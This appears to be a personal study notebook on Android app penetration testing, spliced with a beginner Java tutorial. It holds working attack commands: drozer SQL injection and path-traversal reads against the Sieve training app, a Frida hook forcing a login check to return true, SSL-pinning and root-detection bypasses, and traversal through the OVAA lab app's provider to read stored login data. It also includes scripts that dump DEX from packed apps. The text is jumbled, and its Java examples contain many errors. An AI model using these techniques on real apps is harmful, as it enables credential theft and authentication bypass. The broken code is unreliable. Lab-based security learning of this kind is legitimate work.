Hack. Eat. Sleep. Repeat!!!
adb shell pm list packages to list packagesadb shell pm path <path> to get pathadb pull <path> <destination> to copy it.31415drozer console connect --server <ip-addr>
nox-player,you should portforward with adb or Android Debug Bridge.Syntax-: adb forward tcp:<port> tcp:<port>
app.package.listSyntax-:run app.package.list -f <package>
app.package.infoSyntax-:run app.package.info -a <package's identifier>
app.package.attacksurface, if an app is debuggable,we can add adb and step through the code.Syntax-:run app.package.attacksurface <identifier>
app.activity.infoSyntax-:run app.activity.info -a <identifier>
help [module] to check on more info on a module.app.package.info, an exported activity com.mwr.example.sieve.PWList can be carried without authorization or permission.We will use app.package.start to start it and exploit the activity.Syntax-: run app.activity.start --component [identifier] [activity]
app.provider.info can be used to gather the content information exported from the app.Syntax-:run app.provider.info -a [identifier]
scanner.provider.finduris to scan for multiple urls and define a list of possible urlsSyntax-:run scanner.provider.finduris -a [identifier]
app.provider.query to grab the secretsSyntax-:run app.provider.query content://[url]
run app.provider.insert <content uris> --string pin 1111 --string Password H4ck3d
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
scanner.provider.sqltables to view the sql tables of a server.Syntax-:run scanner.provider.sqltables -a <identifier>
app.provider.querySyntax-:run app.provider.query <content uri> --projection "* FROM SQLITE_MASTER where type=âtableâ;--"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "1 or 1=1"
Syntax-:run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
apktool d -rs <apk>
d2j-dex2jar <classes.dex>
jadx-gui <classes.jar>
Zygote and its role in firing up an application.app_process() launches the Zygote, first a VM instance is created and then a call to Zygoteâs main() is made.Android_servers that provides interfaces to native functionalities.Check this repo to install android-sdk.
Syntax-:objection patchapk -s <apk's name>
On linux, if you noticed an error mostly in red,download apktool from the source and install.It is due to the dirty version.
Newly signed apk
adb install <apk>ART or Android Runtime.Android users had the opportunity to choose between Dalvik and ART in Android 4.4.The .class generated contains the JVM class bytecodes.Android has its own optimized bytecode fromat called the Dalvik from version 1.0 to 4.4.Dalvik bytecodes are instructions set for a processor..class and .jar libraries into a single .dex file containing dalvik byte codes.This is possible with the dx command.DEX means Dalvik Executable.ART in Android 4.4.This execution environment executes dex properly.The benefit of ART over Dalvik is that the app runs and launches faster on ART, this is because DEX bytecode has been translated into machine code during installation, no extra time is needed to compile it during the runtime.The JIT based compilation in the previously used Dalvik has disadvantages of poor battery life, application lag, and performance.ART is based on the Ahead-of-Time compilaton process where compilation begins before a process starts.In ART, the compilation process happens during the app installation process itself. Even though this leads to higher app installation time, it reduces app lag, increases battery usage efficiency, etc.In Android version 7.0, JIT came back. The hybrid environment combining features from both a JIT compiler and ART was introduced.src folders stores the java and kotlin source codeAndroid Interface Definition Language [AIDL] allows you to define the programming interface for client and service communication using IPC.IPC is inter process communication.AIDL can be used between any process in Android.Library modules contains java or kotlin classes, Android Components and resoures, although assets are not supported.The codes and resources of the library project are compiled and packaged with the application.Therefore, an library module can be a compile time artifact.Android library compiles into an Android Archive (AAR) file that you can use as a dependency for an Android app module.AAR files can contain Android resources and a manifest file, which allows you to bundle in shared resources like layouts and drawables in addition to Java or Kotlin classes and methods.JAR Libraries is a Java library and unlike AAR it cannot contain Android resources and manifests.Android Asset Packaging Tool (aapt2) compiles the AndroidManifest and resource files into a single apk.It is divided into two steps compiling and linking.It improves performance since it is only one file changes.You only need to compile one file and link with the intermediate files.It also support android file resources like drawables and xml.When you invoke AAPT2 for compilation, you should pass a single resource file as an input per invocation.AAPT2 then parses the file and generates an intermediate binary file with a .flat extension.The link phase merges all the intermediate files generated in the compile phase and outputs one .apk file. You can also generate R.java and proguard-rules at this time.Resources.arsc: The output .apk file does not include the DEX file, so the DEX file is not included, and since it is not signed, it is an APK that cannot be executed.It contains the metadata information of the resourses such as the index of all resources in the packages.An apk is a binary file,and the APK that can be actually executed, and the APK that you often build and execute are uncompressed and can be used simply by expanding it in memory.The R.java that is output with the APK is assigned a unique ID, which allows the Java code to use the resource during compilation as seen below.Arsc is the index of the resource used when executing the application.Dex and Multidex -:R8 compiles one file known as the classes.dex.If you are using Multidex, that is not the case, but multiple DEX files will appear, but for the time being, classes.dex will be created.If the number of application method exceeeds 65536 including the reference libraries, a build error will occur.The method ID range is 0 to 0xFFFF[0 to 65535].In order to avoid this, it is useful to review the dependency of the application and use R8 to remove unused code or use Multidex.e.gHello world code in java-:public class Hello {
public static void main(String[] args){
System.out.println("Hello world!!");
}
}
////TODO-:
java file.javapublic class Hello {
public static void main(String[] args){
System.out.println("Hello world!!");
//Number
int number = -5;
System.out.println(number);
}
}
long keyword can also be used to store integers and can store up 2 ^ 63.long number = 5;
System.out.println(num);
float or doublepublic class Hello {
public static void main(String[] args){
System.out.println("Hello world!!");
//Number
int number = -5;
System.out.println(number);
long num = 5;
System.out.println(num);
double myDouble = 2.5;
//float
float myFloat = (float) 2.9;
System.out.println(myDouble);
System.out.println(myFloat);
}
}
char to store unicode valueschar myUnicodeChar = '\u00A9';
System.out.println(myChar);
System.out.println(myUnicodeChar);
String for charactersString myString = "Meisma";
Boolean for true or falseBoolean myBool = true;
int or long to hold huge numbers, double can also be used.int a = 5;
int b = 10;
double answer = (double) a / b ;
System.out.println(answer);
String in javaString string1 = "Man";
String string2 = "go";
System.out.println(string1 + string2);
int num = 9;
if (num>10) {
System.out.println("Greater than 10");
} else {
Systemm.out.println("Lesser thn 10");
}
switch (num) {
case 10:
System.out.println("Wrong");
break;
case 9:
System.out.println("Correct");
break;
default:
System.out.println("LMAO!!!");
break;
}
public class Main {
public static void main(String[] args) {
int num = 0;
while (true) {
num+=1;
System.out.println("Hello");
if (num == 7) {
System.out.println("Life is hard");
break;
}
}
}
}
break and continue in a while loopdo statementdo{
System.out.println("Milk");
} while (x<5);
scanner is used to input a number.You have to import the class Scanner from java.util.Scanner.import java.util.Scanner;
public class Main {
public static void main(String[] args) {
System.out.println("Enter a number: ");
Scanner myScanner = Scanner(System.in);
int answer = new myScanner.nextInt(); //nextInt() should be used for a number
System.out.println("The answer is :" + answer);
}
}
String string = new myScanner.next();
JOptionPane class.Import withimport javax.swing.JOptionPane;
showInputDialog method -:import javax.swing.JOptionPane;
public class Main {
public static void main(String[] args) {
String first_name;
first_name = JOptionPane.showInputDialog("FirstName");//showInputDialog
System.out.println(first_name);
}
}
showMessageDialog method to display the resultimport javax.swing.JOptionPane;
public class Main {
public static void main(String[] args) {
String first_name,second_name,full_name;
first_name = JOptionPane.showInputDialog("FirstName-: ");//showInputDialog
second_name = JOptionPane.showInputDialog("SecondName-: ");
//full_name
full_name = "Your name is "+ first_name + " " + second_name;
JOptionPane.showMessageDialog(null,full_name);
System.exit(0);
}
}
showMessageDialog.Syntax-:JOptionPane.showMessageDialog(null,full_name,"Name",JOptionPane.INFORMATION_MESSAGE);
ERROR_MESSAGE
PLAIN_MESSAGE
QUESTION_MESSAGE
WARNING_MESSAGE
Random.import java.util.Random;
public class Main {
public static void main(String[] args){
System.out.println("Random numbers");
Random random = new Random();
int number = random.nextInt();
System.out.println(number);
}
}
int number = random.nextInt(20); //The argument 20 is the limit
Simple Arrays-:public class Main {
public static void main(String[] args) {
//Arrays in java
String[] students = {"Meisam","Zombies","Daddy","Great","Deadbeat"};
System.out.println(students[0]);
}
}
public class Main {
public static void main(String[] args) {
//Arrays in java
String[] students = new String[5]; //Defining the amount of memory
students[0] = "Meisam";
students[1] = "Sarah";
System.out.println(students[0]);
}
}
for looppublic class Main {
public static void main(String[] args) {
//Arrays in java
String[] students = new String[5];
students[0] = "Meisam";
students[1] = "Sarah";
students[2] = "Sarah";
students[3] = "Sarah";
students[4] = "Sarah";
for (int i=0; i<5; i++) {
System.out.println(students[i]);
}
}
}
length classpublic class Main {
public static void main(String[] args) {
//Arrays in java
String[] students = new String[5];
students[0] = "Meisam";
students[1] = "Sarah";
students[2] = "Sarah";
students[3] = "Sarah";
students[4] = "Sarah";
System.out.println("[+] Array's length is : " + students.length);
for (int i=0; i<students.length; i++) {
System.out.println(students[i]);
}
}
}
Phone.javapublic class Phone {
String name;
int phoneNumber;
int userSignature;
String userModel;
String imeiString;
}
main classpublic class Main {
public static void main(String[] args) {
Phone iphone = new Phone();//Creating an instance of a class
//Attributes
iphone.name = "Iphone 11";
iphone.phoneNumber = "08109978500";
//Accessing the field of a class
System.out.println(iphone.name);
}
}
public void Name(String me)public class Phone {
String name;
String phoneNumber;
//Creating a methodd
//If you don't want to return any value, use the keyword void as seen below
public void printString(String trackName) {
System.out.println("Playing track :" + trackName);
}
}
iphone.printString("Bahubali");
Access modifiers helps to restrict the scope of a class, constructor, variable, method, or data member. It provides security, accessibility, etc. to the user depending upon the access modifier used with the element.It can be public, private, default and protected.If you donât use anything as the modifier,it is public.public class Phone {
String name;
String phoneNumber;
//Use of access modifiers
public String model = "SM-1234";
System.out.println(iphone.model);
private fields can be accessed by a method in the classpublic class Phone {
String name;
String phoneNumber;
//Use of access modifiers
private String model = "SM-1234";
//Creating a methodd
//If you don't want to return any value, use the keyword void as seen below
public void printString(String trackName) {
System.out.println("Playing track :" + trackName);
}
public void accessPrivateField() {
System.out.println(model);
}
}
public class Phone {
private String name;
String phoneNumber;
//Use of access modifiers
private String model = "SM-1234";
//Creating a methodd
//If you don't want to return any value, use the keyword void as seen below
public void printString(String trackName) {
System.out.println("Playing track :" + trackName);
}
public void accessPrivateField() {
System.out.println(model);
}
//set class field 'name'
public void setName(String name){
this.name = name;
}
//return class field name
public String getName() {
return this.name;
}
}
public class Main {
public static void main(String[] args) {
Phone iphone = new Phone();//Creating an instance of a class
//Attributes
//iphone.name = "Iphone 11";
iphone.phoneNumber = "08109484844978500";
//Accessing the field of a class
//System.out.println(iphone.name);
iphone.accessPrivateField();
iphone.printString("Bahubali");
iphone.setName("Iphone 22");
//System.out.println(iphone.name);
System.out.println(iphone.getName());
}
}
public Phone(String name,String phoneNumber) {
this.name = this.name;
this.phoneNumber = phoneNumber;
this.model = "SM-1234";
}
SuperClass Animal-:
public class Animal {
private String name;
private String typeA;
private int legNumbers;
private Boolean hasTail;
public Animal(String name,String typeA,int legNumber,Boolean hasTail) {
this.name = name;
this.typeA = typeA;
this.legNumbers = legNumber;
this.hasTail = hasTail;
}
public void setName(String name) {
this.name = name;
}
public void setTypeA(String name) {
this.typeA = typeA;
}
}
Bird-:Fields are passed to the super class Animal with super() objectpublic class Bird extends Animal {
public Bird(String name,String typeA,int legNumber,Boolean hasTail){
super(name,typeA,legNumber,hasTail);
}
}
Bird//Bird
public class Main{
public static void main(String[] args) {
//Instatiating our Bird class
Bird phoenix = new Bird("Bangis","Parrot",10,true);
//Setting a Name
phoenix.setName("Hawk");
//Accessing the superclass function
System.out.println(phoenix.getName());
}
}
public class Bird extends Animal {
private int wings;
public Bird (String name,String typeA,int legNumber,Boolean hasTail,int wings){
super(name,typeA,legNumber,hasTail);
this.wings = wings;
}
public void canFly() {
if (this.wings > 0) {
System.out.println("[+]Can fly");
} else {
System.out.println("[+]Cannot fly");
}
}
public void setWings(int wings) {
this.wings = wings;
}
public int getWings() {
return this.wings;
}
}
@Override keyword.Animal class-:
public void eat(String food) {
System.out.println(this.name + " eats " + food);
}
Bird Class-:
@Override
public void eat(String food) {
super.eat(food);
}
public void canFly() {
if (this.wings > 0) {
System.out.println("[+]Can fly");
} else {
System.out.println("[+]Cannot fly");
}
}
public void canFly(int wings){
if (wings > 0) {
System.out.println("[+]Can fly");
} else {
System.out.println("[+]Cannot fly");
}
}
Null keywordfinal keyword is used to create a constant.final String x = "Sleep";
x = "sleep";
System.out.println(x);
import java.util.ArrayList
ArraylistArrayList<String> names = new ArrayList<>();
names.add("Meisam");
names.add("Sarah");
get()names.get(0);
ArrayListnames.size();
contains to check if an Arraylist contains a value,It will return a boolean.names.contains("Shayla");
remove()names.remove("Value");
names.indexOf("Shayla");
isEmpty functionnames.isEmpty()
Mapimport java.util.Map;
map but to instantiate object HashMap, use import java.util.HashMap//<> contains the data type for the key and value
Map<String,String> contacts = new HashMap<String, String>();
put()contacts.put("Meisam","08109978500");
get()contacts.get("Meisam");
contacts.size()
contacts.remove("Meisam");
containsKey() and containsValue()contacts.containsKey("Me");
contacts.containsValue("08109978585858558");
for (type var : array) {
statements using var;
}
static keyword is a dded to a field, it does work for instance of the object but the object itself.It should not be added to the constructor the class.e.gpublic class Student {
public static String name;
private int id;
private String falseName;
public Student(int id,String falseName) {
this.id = id;
}
public void setName(String name){
this.name = name;
}
public void setId(int id){
this.id = id;
}
public void setFalseName(String falseName) {
this.falseName = falseName;
}
public String getName(){
return this.name;
}
public int getId(){
return this.id;
}
public String getFalseName(){
return this.falseName;
}
}
public class Main {
public static void main(String[] args) {
Student student = new Student(10,"Sarah");
student.setName("Lame");
System.out.println(student.getName());
}
}
static keyword can be changed by calling the Class directly.The static method is memory friendly and can be ensure memory handling.Student.name = "Kris";
public class Student {
private int id;
private String name;
public class innerClass {
private int innerId;
private String innerName;
public innerClass(int innerId,String innerName) {
this.innerId = innerId;
this.innerName = innerName;
}
}
}
Student.innerClass inner = new Student().new innerClass(1,"Name");
frida --codeshare sahabrifki/okhttp3-obfuscated---ssl-pinning-bypass -f "package-name" -U
frida --codeshare akabe1/frida-multiple-unpinning -f "package-name" -U
adb push cacert.cer /data/local/tmp/root.cer
C:\Program Files (x86)\Nox\bin\nox_adb.exeAndroidsims.Process Management: Daemons are typically managed by init systems like Systemd or Upstart, which handle their startup, shutdown, and automatic restart in case of failure.
Dalvik executable.Dex are packaged into Android Applications(APK).Dalvik and Oracle have different architectures.public static int add(int x, int y) {
return x + y;
}
java.* and javax.*.Androidâs core java libraries are drawn from Apache Harmony Project and as android evolved, it improved drastically.The core libraries are developed mostly in Java, but they have some native code dependencies as well. Native code is linked into Androidâs Java libraries using the standard Java Native Interface (JNI), which allows Java code to call native code and vice versa. The Java runtime libraries layer is directly accessed both from system services and applications./dev/binder interface which is the Binderâs driver which is the central object of the framework and IPC calls run through it.It is implemented with ioctl() call that both sends data and receive through the binder_write_read structure which consists of the write_buffer containing commands of the driver and the read_buffer containing commands that the user-space needs to perform.Data is passed through processes because the Binder driver consist of the addresses of each spaces.Additionally, service interfaces that need to be exposed to other processes can be defined using the Android Interface Definition Language (AIDL), which enables clients to call remote services as if they were local Java objects. The associated AIDL tool automatically generates stubs (client-side representations of the remote object) and proxies that map interface methods to the lower-level transact() Binder method and take care of converting parameters to a format that Binder can transmit (this is called parameter marshalling/unmarshalling). Because Binder is inherently type-less, AIDL-generated stubs and proxies also provide type safety by including the target interface name in each Binder transaction (in the proxy) and validating it in the stub.
apktool.jarsysdm.cpladb shell pidof -s `package`
adb logcat [pid]
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
.\setup.bat
#Keep installing the missing modules
pip install waitress poetry six django whitenoise
# Run run.bat again
.\run.bat
Mode_World_Writable and Mode_World_Readable.Every app resides in /data/data/ in internal storage.In each application folders there is a shared_prefs and database folder and several other folders as implemented by application. Files under these folders come under Internal Storage Category. In most of the apps you will find that files in the shared_prefs folder are world readble and even files with sensitive data are Public.intent filter
android:exported="true"
adb->am-:adb shell am start com.example.package/.className
adb shell am start "data" com.example.package/.className
adb shell am start -a [action] -c [category] com.example.package/.className
adb shell am start owasp.sat.agoat/.AccessControl1ViewActivity -a "android.intent.action.VIEW" -a "android.intent.category.DEFAULT"
adb shell am startservice com.example.package/.className
adb shell dumpsys activity services
adb shell am help | grep services
adb shell am brodcast -a MyBrodcast -n com.example.myapp/.MyClass -es number 1234
adb shell am start com.insecureshop/.AboutUsActivity
adb shell am broadcast -a com.insecureshop.CUSTOM_INTENT
adb shell am broadcast -a com.insecureshop.CUSTOM_INTENT --es web_url "https://www.moviebox.com"
Java.perform(function() {
var target = Java.use('com.insecureshop.util.Util');
target.verifyUserNamePassword.overload('java.lang.String','java.lang.String').implementation = function(username,password) {
console.log("[+] Hooked verifyUserNamePassword");
return true;
}
})
fb://link/?web_url=124 //Less secure
android:scheme which states that every part like that will be treated with a deeplink.Finding themadb shell dumpsys package <packagname>
adb shell am start -W "insecureshop://com.insecureshop/web?url=http://www.google.com"
java -jar APKEditor-1.4.9.jar m -i C:\path\
Check for a new output file named
Uber-Signer-:
//Apks
//Ensure there is no debug.keystore
java -jar uber-apk-signer-1.3.0.jar --apks *_merged.apk
frida -U -l ./config.js -l ./native-connect-hook.js -l ./native-tls-hook.js -l ./android/android-proxy-override.js -l ./android/android-system-certificate-injection.js -l ./android/android-certificate-unpinning.js -l ./android/android-certificate-unpinning-fallback.js -l ./android/android-disable-root-detection.js -l ./android/android-disable-flutter-certificate-pinning.js --codeshare licitrasimone/flutter-ssl-pinning-bypass
openssl x509 -inform DER -in cacert.der -out cacert.pem
openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1
mv cacert.pem $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0;ls *.0
adb root
adb remount
adb push *0 /system/etc/security/cacerts/
adb shell "chmod 644 /system/etc/security/cacerts/[file]"
adb shell settings put global http_proxy <wlan_ip>:<port>
62001- 62010#Nox emulator
adb connect localhost:62001
adb connect localhost:62025
com.android.org.conscrypt.ActiveSession->checkPeerCertificatesPresent wants your burp cert to be a system certificate. Just convert it this file with the code below.openssl x509 -inform DER -in cacert.der -out cacert.pem
openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1
mv cacert.pem $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0;ls *.0
#reducing certificates days
openssl x509 -inform DER -outform DER -days 100 -in copy.der -out cacert_new.der;openssl x509 -inform DER -in cacert_new.der -out cacert.pem;mv cacert.pem $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0;ls *.0
/system/etc/security/cacerts/#Mount as read/write
adb shell "mount -o rw,remount /system"
adb push *.0 /system/etc/security/cacerts/
Settings>>Device, you have to change to independent system disk-:adb shell "mount -o rw,remount /system"
0x1-:.method public getUseDeveloperSupport()Z
.locals 1
const/4 v0, 0x1
return v0
.end method
adb shell input keyevent 82
#Allow draw over apps
adb shell appops set com.teamfonemobile SYSTEM_ALERT_WINDOW allow
# OVAA
adb shell dumpsys package oversecured.ovaa | findstr "TheftOverwriteProvider"
adb. The url is always in the android:authorities-:<provider android:name="oversecured.ovaa.providers.TheftOverwriteProvider"
android:exported="true"
android:authorities="oversecured.ovaa.theftoverwrite"/>
<provider>
adb shell content read --uri content://oversecured.ovaa.theftoverwrite/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fdata%2fdata%2foversecured.ovaa%2fshared_prefs%2flogin_data.xml
<service android:name="oversecured.ovaa.services.InsecureLoggerService">
<intent-filter>
<action android:name="oversecured.ovaa.action.DUMP"/>
</intent-filter>
</service>
adb shell am startservice -a oversecured.ovaa.action.DUMP -n oversecured.ovaa/.services.InsecureLoggerService
am startservice: Tells the system to launch a background service.
-a oversecured.ovaa.action.DUMP: Supplies the intent action required by the filter.
-n oversecured.ovaa/.services.InsecureLoggerService: Specifies the explicit component name (package/class).
adb logcat | findstr ovaa
pip3 install frida-dexdump
frida-dexdump -U -f <pkg>
# Method 1: Check for packer libraries
find decoded/lib/ -name "*.so" | grep -iE "jiagu|bangcle|ijiami|360|legu|mobisec|baidu|netease|arxan"
# Method 2: Use APKiD for packer detection
apkid app.apk
# Method 3: Check AndroidManifest for packer activities
grep -E "com.bangcle|com.secneo|com.alibaba|com.tencent" decoded/AndroidManifest.xml
# Method 4: Analyze smali for packer patterns
grep -r "DexClassLoader\|InMemoryDexClassLoader\|PathClassLoader" decoded/smali*/ | head -20
# Method 5: Check asset structure
ls -laR decoded/assets/ | grep -iE "\.dex|\.jar|encrypted|packed"
# Method 6: Look for unpacker stubs
strings decoded/lib/*/lib*.so | grep -iE "loader|unpak|decrypt|classloader"
# Search for DEX magic in memory
frida -U -f com.example.app << 'EOF'
Java.perform(function() {
var dexCount = 0;
var loadedDex = Java.use("dalvik.system.DexFile");
loadedDex.loadDex.overload('java.lang.String', 'java.lang.String', 'int').implementation = function(path, optimizedDir, flags) {
console.log("[DEX] Loading: " + path);
dexCount++;
return this.loadDex(path, optimizedDir, flags);
};
console.log("[DEX] Total DEX files loaded: " + dexCount);
});
EOF
#!/bin/bash
# auto-dexdump.sh - Automatic DEX dumping with organization
PACKAGE="${1:?Usage: $0 <package_name>}"
OUTPUT_DIR="${2:-./dexdump_$(date '+%Y%m%d_%H%M%S')}"
echo "[*] DEX Dumper for: $PACKAGE"
echo "[*] Output: $OUTPUT_DIR"
# Create output directory
mkdir -p "$OUTPUT_DIR"
# Start app and dump DEX
echo "[*] Starting app and dumping DEX files..."
frida-dexdump -U -f "$PACKAGE" -o "$OUTPUT_DIR" --all
# Wait for dumps
sleep 5
# Analyze dumped DEX files
echo "[*] Analyzing dumped DEX files..."
for dex in "$OUTPUT_DIR"/*.dex; do
if [ -f "$dex" ]; then
echo " - $(basename "$dex"): $(du -h "$dex" | cut -f1)"
# Extract strings for quick analysis
strings "$dex" > "$OUTPUT_DIR/$(basename "$dex" .dex)_strings.txt"
# Count classes
dexdump -f "$dex" 2>/dev/null | grep "Class descriptor" | wc -l > "$OUTPUT_DIR/$(basename "$dex" .dex)_class_count.txt"
fi
done
# Generate summary
echo "[*] Generating summary..."
cat > "$OUTPUT_DIR/summary.txt" << EOF
Package: $PACKAGE
Timestamp: $(date)
DEX Files: $(ls -1 "$OUTPUT_DIR"/*.dex 2>/dev/null | wc -l)
Total Size: $(du -sh "$OUTPUT_DIR"/*.dex 2>/dev/null | tail -1 | cut -f1)
Strings Files: $(ls -1 "$OUTPUT_DIR"/*_strings.txt 2>/dev/null | wc -l)
EOF
echo "[â] DEX dump complete: $OUTPUT_DIR"
// memory_dex_dump.js - Advanced memory DEX dumping
var outputPath = "/sdcard/dexdump/";
Java.perform(function() {
console.log("[*] Memory DEX Dumper Started");
// Create output directory
var File = Java.use("java.io.File");
var outputDir = File.$new(outputPath);
if (!outputDir.exists()) {
outputDir.mkdirs();
}
// Method 1: Hook DexFile.loadDex
var DexFile = Java.use("dalvik.system.DexFile");
DexFile.loadDex.overload('java.lang.String').implementation = function(path) {
console.log("[DEX] DexFile.loadDex: " + path);
var result = this.loadDex(path);
// Copy DEX file to output
try {
var sourcePath = path;
var destPath = outputPath + "loaded_" + Date.now() + ".dex";
var Files = Java.use("java.nio.file.Files");
var Paths = Java.use("java.nio.file.Paths");
Files.copy(Paths.get(sourcePath), Paths.get(destPath));
console.log("[+] Dumped: " + destPath);
} catch (e) {
console.log("[-] Copy failed: " + e);
}
return result;
};
// Method 2: Scan memory for DEX magic
var Process = Java.use("android.os.Process");
var Runtime = Java.use("java.lang.Runtime");
function scanMemoryForDex() {
console.log("[*] Scanning memory for DEX files...");
// Read /proc/self/maps
var BufferedReader = Java.use("java.io.BufferedReader");
var FileReader = Java.use("java.io.FileReader");
try {
var reader = BufferedReader.$new(FileReader.$new("/proc/self/maps"));
var line;
var dexRegions = [];
while ((line = reader.readLine()) !== null) {
// Look for DEX file mappings
if (line.indexOf(".dex") !== -1 || line.indexOf("classes") !== -1) {
dexRegions.push(line);
console.log("[MEM] " + line);
}
}
reader.close();
console.log("[*] Found " + dexRegions.length + " DEX memory regions");
} catch (e) {
console.log("[-] Memory scan failed: " + e);
}
}
// Run scan after 5 seconds
setTimeout(function() {
scanMemoryForDex();
}, 5000);
console.log("[*] Memory DEX Dumper Ready");
});
// memory_dex_dump.js - Advanced memory DEX dumping
var outputPath = "/sdcard/dexdump/";
Java.perform(function() {
console.log("[*] Memory DEX Dumper Started");
// Create output directory
var File = Java.use("java.io.File");
var outputDir = File.$new(outputPath);
if (!outputDir.exists()) {
outputDir.mkdirs();
}
// Method 1: Hook DexFile.loadDex
var DexFile = Java.use("dalvik.system.DexFile");
DexFile.loadDex.overload('java.lang.String').implementation = function(path) {
console.log("[DEX] DexFile.loadDex: " + path);
var result = this.loadDex(path);
// Copy DEX file to output
try {
var sourcePath = path;
var destPath = outputPath + "loaded_" + Date.now() + ".dex";
var Files = Java.use("java.nio.file.Files");
var Paths = Java.use("java.nio.file.Paths");
Files.copy(Paths.get(sourcePath), Paths.get(destPath));
console.log("[+] Dumped: " + destPath);
} catch (e) {
console.log("[-] Copy failed: " + e);
}
return result;
};
// Method 2: Scan memory for DEX magic
var Process = Java.use("android.os.Process");
var Runtime = Java.use("java.lang.Runtime");
function scanMemoryForDex() {
console.log("[*] Scanning memory for DEX files...");
// Read /proc/self/maps
var BufferedReader = Java.use("java.io.BufferedReader");
var FileReader = Java.use("java.io.FileReader");
try {
var reader = BufferedReader.$new(FileReader.$new("/proc/self/maps"));
var line;
var dexRegions = [];
while ((line = reader.readLine()) !== null) {
// Look for DEX file mappings
if (line.indexOf(".dex") !== -1 || line.indexOf("classes") !== -1) {
dexRegions.push(line);
console.log("[MEM] " + line);
}
}
reader.close();
console.log("[*] Found " + dexRegions.length + " DEX memory regions");
} catch (e) {
console.log("[-] Memory scan failed: " + e);
}
}
// Run scan after 5 seconds
setTimeout(function() {
scanMemoryForDex();
}, 5000);
console.log("[*] Memory DEX Dumper Ready");
});
#!/usr/bin/env python3
"""
dex_reconstructor.py - Reconstruct DEX from memory dumps
"""
import os
import sys
import struct
from pathlib import Path
class DEXReconstructor:
"""Reconstruct valid DEX files from memory dumps"""
DEX_MAGIC = b'dex\n035\x00'
DEX_MAGIC_037 = b'dex\n037\x00'
def __init__(self, output_dir: str):
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
def validate_dex_header(self, data: bytes) -> bool:
"""Validate DEX file header"""
if len(data) < 112:
return False
magic = data[:8]
return magic == self.DEX_MAGIC or magic == self.DEX_MAGIC_037
def repair_dex_header(self, data: bytes) -> bytes:
"""Repair corrupted DEX header"""
if len(data) < 112:
raise ValueError("Data too small for DEX file")
# Ensure magic
if data[:4] != b'dex\n':
data = self.DEX_MAGIC + data[8:]
# Recalculate checksum
checksum = sum(data[32:]) & 0xFFFFFFFF
data = data[:32] + struct.pack('<I', checksum) + data[36:]
# Recalculate SHA1 signature
import hashlib
sha1 = hashlib.sha1(data[32:]).digest()
data = data[:12] + sha1 + data[32:]
return data
def parse_dex_header(self, data: bytes) -> dict:
"""Parse DEX header information"""
if not self.validate_dex_header(data):
raise ValueError("Invalid DEX header")
header = {
'magic': data[:8].decode('utf-8', errors='ignore'),
'checksum': struct.unpack('<I', data[8:12])[0],
'signature': data[12:32].hex(),
'file_size': struct.unpack('<I', data[32:36])[0],
'header_size': struct.unpack('<I', data[36:40])[0],
'endian_tag': data[40:44].hex(),
'link_size': struct.unpack('<I', data[44:48])[0],
'link_off': struct.unpack('<I', data[48:52])[0],
'map_off': struct.unpack('<I', data[52:56])[0],
'string_ids_size': struct.unpack('<I', data[56:60])[0],
'string_ids_off': struct.unpack('<I', data[60:64])[0],
'type_ids_size': struct.unpack('<I', data[64:68])[0],
'type_ids_off': struct.unpack('<I', data[68:72])[0],
'proto_ids_size': struct.unpack('<I', data[72:76])[0],
'proto_ids_off': struct.unpack('<I', data[76:80])[0],
'field_ids_size': struct.unpack('<I', data[80:84])[0],
'field_ids_off': struct.unpack('<I', data[84:88])[0],
'method_ids_size': struct.unpack('<I', data[88:92])[0],
'method_ids_off': struct.unpack('<I', data[92:96])[0],
'class_defs_size': struct.unpack('<I', data[96:100])[0],
'class_defs_off': struct.unpack('<I', data[100:104])[0],
'data_size': struct.unpack('<I', data[104:108])[0],
'data_off': struct.unpack('<I', data[108:112])[0],
}
return header
def reconstruct_from_memory(self, memory_dump: bytes, output_name: str = None) -> str:
"""
Reconstruct DEX file from memory dump.
Memory dumps may contain multiple DEX files concatenated.
"""
dex_files = []
offset = 0
while offset < len(memory_dump):
# Search for DEX magic
dex_start = memory_dump.find(self.DEX_MAGIC, offset)
if dex_start == -1:
dex_start = memory_dump.find(self.DEX_MAGIC_037, offset)
if dex_start == -1:
break
# Try to find file size
try:
file_size = struct.unpack('<I', memory_dump[dex_start+32:dex_start+36])[0]
dex_data = memory_dump[dex_start:dex_start+file_size]
# Validate and repair if needed
if self.validate_dex_header(dex_data):
dex_files.append(dex_data)
else:
# Try to repair
repaired = self.repair_dex_header(dex_data)
if self.validate_dex_header(repaired):
dex_files.append(repaired)
offset = dex_start + file_size
except:
offset = dex_start + 1
# Save reconstructed DEX files
saved_files = []
for i, dex_data in enumerate(dex_files):
name = output_name or f"reconstructed_{i}"
if len(dex_files) > 1:
name = f"{name}_{i}"
output_path = self.output_dir / f"{name}.dex"
output_path.write_bytes(dex_data)
saved_files.append(str(output_path))
# Print header info
header = self.parse_dex_header(dex_data)
print(f"[+] Saved: {output_path}")
print(f" Size: {header['file_size']} bytes")
print(f" Classes: {header['class_defs_size']}")
print(f" Methods: {header['method_ids_size']}")
return saved_files
def merge_dex_files(self, dex_files: list, output_name: str = "merged") -> str:
"""
Merge multiple DEX files into single APK-like structure.
Note: This creates a valid multi-dex APK structure.
"""
import zipfile
output_path = self.output_dir / f"{output_name}.apk"
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as apk:
# Add AndroidManifest.xml (minimal)
manifest = b'''<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.reconstructed.app">
</manifest>'''
apk.writestr("AndroidManifest.xml", manifest)
# Add DEX files
for i, dex_file in enumerate(dex_files):
name = "classes.dex" if i == 0 else f"classes{i+1}.dex"
dex_data = Path(dex_file).read_bytes() if isinstance(dex_file, str) else dex_file
apk.writestr(name, dex_data)
print(f"[+] Created APK: {output_path}")
return str(output_path)
# CLI usage
if __name__ == "__main__":
import argparse
